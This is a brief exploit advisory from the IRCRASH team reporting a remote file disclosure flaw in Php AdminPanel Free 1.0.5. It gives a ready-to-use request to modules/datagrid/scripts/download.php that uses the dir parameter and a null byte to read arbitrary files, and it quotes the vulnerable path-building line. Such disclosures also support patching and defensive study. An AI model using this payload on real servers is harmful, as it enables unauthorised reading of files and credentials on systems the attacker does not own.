##################################################################################### #### Php AdminPanel Free version 1.0.5 Remote File Disclosure #### ##################################################################################### # # #AUTHOR : Sina Yazdanmehr (R3d.W0rm) # #Discovered by : Sina Yazdanmehr (R3d.W0rm) # #Our Site : http://ircrash.com # #My Official WebSite : http://r3dw0rm.ir # #IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) # ##################################################################################### # # #Download : http://www.apphp.com # # # #Dork : :( # # # ##################################################################################### # [Bug] # # # #http://[target]/[adminpanel_path]/modules/datagrid/scripts/download.php?file=export0000&dir=file.type%00 # # #Note : # #Plz see this code : # # ..... # # $file_path = "../../".$dir.$file; # # ..... # #In download.php set file path 2 dir ups. # ###################################### TNX GOD ######################################